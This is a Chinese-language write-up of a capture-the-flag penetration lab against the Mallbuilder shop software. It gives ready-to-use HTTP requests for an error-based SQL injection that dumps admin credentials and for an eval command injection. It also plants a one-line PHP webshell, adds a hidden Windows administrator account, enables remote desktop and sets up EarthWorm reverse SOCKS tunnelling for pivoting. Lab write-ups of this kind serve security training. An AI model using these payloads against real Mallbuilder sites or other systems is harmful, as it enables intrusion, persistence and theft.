记一次综合靶场实战渗透
字数 1039 2025-08-25 22:58:29
综合靶场实战渗透教学文档
靶场环境概述
- 多层网络结构,仅开放一个Web端入口
- 其他服务均处于内网环境
- 目标系统:Mallbuilder(存在已知漏洞版本)
渗透流程详解
1. Web应用漏洞利用
SQL注入漏洞利用
漏洞位置:/cate_show_ajax.php
利用方式:
- 获取管理员凭据:
POST /cate_show_ajax.php?oper=ajax&call=get_cate HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect user FROM mallbuilder_admin)a limit 0,1 ))#
解密得到:admin/mall123!@#
- 获取第一个flag:
POST /cate_show_ajax.php?oper=ajax&call=get_cate HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect flag FROM flag)a))#
后台命令执行漏洞
漏洞文件:admin/module_translations.php
漏洞分析:
mod参数未经充分过滤直接进入eval执行- 经过
strtoupper函数处理(需注意大小写转换)
利用方式:
- 基本命令执行:
GET /admin/module_translations.php?mod=;system('whoami') HTTP/1.1
Host: [target]
- 发现flag文件:
GET /admin/module_translations.php?mod=;system('dir') HTTP/1.1
Host: [target]
- 读取flag内容:
GET /admin/module_translations.php?mod=;system('type flag.php') HTTP/1.1
Host: [target]
- 上传Webshell(需注意文件名大小写):
GET /admin/module_translations.php?mod=;file_put_contents('1.php','<?php @eval($_POST[1]);?>') HTTP/1.1
Host: [target]
2. 权限提升与系统控制
添加管理员用户
net user simple 111Qqq... /add
net localgroup administrators simple /add
开启远程桌面
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netstat -an
获取系统flag
- C盘根目录flag.txt(需修改权限)
- 管理员桌面上的flag
3. 内网渗透
端口转发工具使用
工具选择:EarthWorm (EW)
使用方法:
- 本地监听:
ew_for_Win.exe -s rcsocks -l 1080 -e 8888
- 目标机执行:
ew_for_Win.exe -s rssocks -d [本地IP] -e 8888
代理配置
使用Proxifier配置全局代理:
- 服务器地址:127.0.0.1
- 端口:1080
- 协议:SOCKS5
替代工具推荐
- nps:轻量级内网穿透代理服务器
- 支持TCP/UDP/HTTP/SOCKS5等协议
- 提供Web管理界面
- GitHub地址:https://github.com/ehang-io/nps
技术要点总结
- SQL注入:利用EXP函数触发错误回显
- 命令执行绕过:处理strtoupper函数的影响
- 权限维持:通过添加用户和开启远程桌面
- 内网穿透:使用EW进行端口转发和代理
常见问题解答
Q1: 如何绕过strtoupper函数上传Webshell?
A1: 使用数字命名文件(如1.php)避免大小写转换问题
Q2: EarthWorm无法下载怎么办?
A2: 可使用替代工具nps或其他内网穿透工具
Q3: 如何确认端口转发成功?
A3: 检查本地监听端口状态和目标机连接状态
参考资源
- Mallbuilder源码:https://github.com/source-trace/mallbuilder
- EarthWorm官网:https://rootkiter.com/EarthWorm/
- nps项目地址:https://github.com/ehang-io/nps